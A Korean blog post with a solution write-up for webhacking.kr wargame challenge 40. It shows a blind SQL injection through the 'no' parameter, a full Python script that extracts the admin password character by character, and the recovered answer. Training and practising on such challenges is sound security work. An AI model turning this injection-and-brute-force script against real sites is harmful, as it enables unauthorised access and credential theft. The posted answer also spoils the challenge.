티스토리 뷰

Wargame/Webhacking.kr

Challenge 40

do9dark 2015. 8. 14. 22:13

no, id, pw 를 입력을 해서 로그인할 수 있는 페이지를 볼 수 있다.



로그인을 해보면 아래와 같이 Success - guest 를 볼 수 있다.



no 부분에 ||를 이용해서 SQL Injection이 되는 지 확인해보면 로그인이 되는 것을 볼 수 있다.




이를 이용해서 id 값의 첫 글자를 비교해보면 3가지 결과를 얻을 수 있다.

0x66(f) 와 비교하였을 경우 해당하는 값은 참이 될 수 없기 때문에 Failure이 발생한다.




0x67(g) 와 비교하였을 경우 guest가 있기 때문에 참이 된다. 




0x61(a) 와 비교하였을 경우 admin이 있기 때문에 참이 되고 guset와 달리 admin password를 입력하는 부분을 볼 수 있다.




값을 입력해보면 Wrong 이 발생한다.



pw의 길이가 10일 때 admin password 페이지가 발생하기 때문에 admin의 pw 길이는 10인 것을 알 수 있다.



이러한 특징을 이용해서 admin 의 패스워드를 알아낼 수 있다.


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
import string
 
str_list = string.letters + string.digits + "!@#$%^&*()_-+="
hex_list = [hex(ord(i)) for i in str_list]
password = ""
 
for i in range(1,11):
    for j in hex_list:
        url = "/challenge/web/web-29/index.php?no=2%7C%7Csubstr%28pw%2C"+str(i)+"%2C1%29%3D"+j+"&id=guest&pw=guest"
        cookie = {'Cookie':'PHPSESSID=olg7o6fi072j2r54n9tv6on461'}
 
        conn = httplib.HTTPConnection('webhacking.kr')
        conn.request('GET',url,'',cookie)
        data = conn.getresponse().read()
        conn.close()
 
        # print data
        if(data.find('auth'!= -1):
            print str(i)+": "+j
            password += chr(int(j[2:],16))
            break
print ''
print password
cs


10x6c
30x63
40x6b
50x5f
60x61
70x64
80x6d
90x69
100x6e
 
lck_admin
cs


결과를 보면 2번째가 빠져있는 것을 볼 수 있다.

이는 guest 와 결과가 같아서 생기는 문제로 guest의 2번째에 해당하는 u를 삽입해주면 admin의 패스워드는 luck_admin 인 것을 알 수 있다.

(문제를 다시 풀면서 느낀 점은 이전에 fuck이 들어간 키 값들이 luck으로...)


인증은 URL에 auth 파라미터로 넘겨주면 쉽게 할 수 있다.





'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 45  (0) 2015.08.28
Challenge 44  (0) 2015.08.28
Challenge 43  (0) 2015.08.28
Challenge 42  (0) 2015.08.28
Challenge 41  (0) 2015.08.15
Challenge 39  (0) 2015.08.14
Challenge 38  (0) 2015.08.13
Challenge 37  (0) 2015.08.12
Challenge 36  (0) 2015.08.12
Challenge 35  (0) 2015.08.12
댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
링크
공지사항
Total
Today
Yesterday